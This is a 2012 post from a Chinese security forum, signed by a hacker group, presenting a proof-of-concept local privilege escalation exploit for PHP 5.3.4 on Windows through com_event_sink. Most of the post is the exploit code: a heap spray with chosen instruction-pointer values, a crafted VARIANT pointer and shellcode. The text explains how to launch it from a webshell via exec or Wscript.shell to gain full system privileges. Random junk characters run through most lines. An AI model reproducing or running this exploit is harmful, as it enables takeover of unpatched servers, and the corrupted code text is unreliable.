找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2614|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中0 C, i/ a9 R% M- Z

/ s0 e' e/ B( f: K% b) y测试方法如下:cmd /c x:\php\php.exe x:\test.php
9 e& M$ x+ Z7 C, r: `$ p8 R; Q$ t1 w' e
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php8 n5 H- r( A7 U/ K: I8 m
这里是两个测试的截图:
. |5 K! t. e; f/ j  c$ B9 |7 d. D9 |) D! X3 N. R3 O
4 Q" l- E# H3 \3 Q

) L5 O0 D$ X& F* \+ H2 z5 R* |% o& c+ x# c$ P; P
1 U6 |; i3 h9 V6 B8 _
成功利用此漏洞的攻击者将获得系统的最高权限
5 M+ j$ F+ Z- O9 @' y% L8 X+ |
; f& z$ M4 j$ \/ r7 C' R! k+ A# {" z0 y1 z: i
8 F; Y6 n- y2 a/ h9 G3 F$ i
2 E) G* V: J) a( R! R6 b

6 }! W4 }/ e/ v; ?. i关于漏洞分析稍后附上。一下是PoC代码:
7 {/ l, r9 p2 p6 o+ |7 \: F: W& x, U0 u' `+ w7 u
<?php8 d  l! O8 a$ c) }4 y% n
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
. g. M: N3 c) s//$eip ="\x44\x43\x42\x41";
. [, \2 S5 L& c' H2 W$eip= "\x4b\xe8\x57\x78";
' ?% I* U8 ^/ [% o/ X5 R$eax ="\x80\x01\x8d\x04";
% i1 S. O( ~! Q3 \8 `$deodrant="";
& R( l/ c; p; ?7 H- ^: b1 x2 V$axespray = str_repeat($eip.$eax,0x80);
* Y" u7 e; c* w9 b//048d0190
3 W* M: z3 ^1 k9 q% x) aecho strlen($axespray);
! }" L6 h. g# `/ H, Vecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
: {% z3 {  f& c; j5 \; g8 h' A* q  Secho "Silic Group Hacker Army - BlackBap.Org";$ o2 h/ _$ N1 ^; D8 w
//19200 ==4B32 4b00
& s* f# h/ J7 F5 R( G: qfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}* v8 |9 y3 U  E, X' N- x7 H6 `
$terminate = "T";
4 [1 h; Z$ n& F" M/ x$u[] =$deodrant;
, o/ \2 I5 \$ I8 o0 N$r[] =$deodrant.$terminate;- Q9 S4 s# h0 n. ^
$a[] =$deodrant.$terminate;8 n9 Q  |2 \0 r0 @
$s[] =$deodrant.$terminate;8 h: U  F6 i& y
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
, B2 O# h5 k" F; |$ J9 n9 c$vVar = new VARIANT(0x048d0000+180);' b6 N7 k' X/ C/ V
//弹窗代码(Shellcode). G! Y) u$ t3 A
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
' U' m! K3 c' G4 F$var2 = new VARIANT(0x41414242);
8 x9 n6 `* m; Q$ Y1 Pcom_event_sink($vVar,$var2,$buffer);
; f/ ?4 i6 ], a" \& }0 C7 t: [/ Z# S1 b?>- w9 B" o) V; i$ k  Z4 C: H

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表